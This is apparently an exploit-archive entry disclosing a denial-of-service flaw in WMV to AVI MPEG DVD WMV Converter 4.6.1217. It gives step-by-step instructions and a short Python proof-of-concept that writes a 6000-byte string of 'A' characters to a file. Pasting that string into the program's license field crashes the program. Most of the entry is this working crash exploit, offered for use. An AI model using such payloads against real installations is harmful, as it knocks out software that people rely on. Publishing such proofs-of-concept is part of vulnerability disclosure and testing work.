WMV to AVI MPEG DVD WMV Converter version 4.6.1217 suffers from a denial of service vulnerability.
fe0e90ffad1e81d90bb940f672daceb2# Exploit Title: WMV to AVI MPEG DVD WMV Convertor 4.6.1217 - Denial of Service
# Date: 2019-10-30
# Vendor Homepage:https://www.alloksoft.com/
# Software Link: https://www.alloksoft.com/wmv.htm
# Exploit Author: Nithoshitha S
# Tested Version: v4.6.1217
# Tested on: Windows 7 x64
# Windows XP SP3
# 1.- Run python code :poc.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open WMV to AVI MPEG DVD WMV Convertor and Click 'EnterKey'
# 4.- Paste the content of EVIL.txt into the Field: 'License Name and License Code'
# 5.- Click 'OK' and you will see a crash.
# poc.py
#!/usr/bin/env python
buffer = "\x41" * 6000
try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"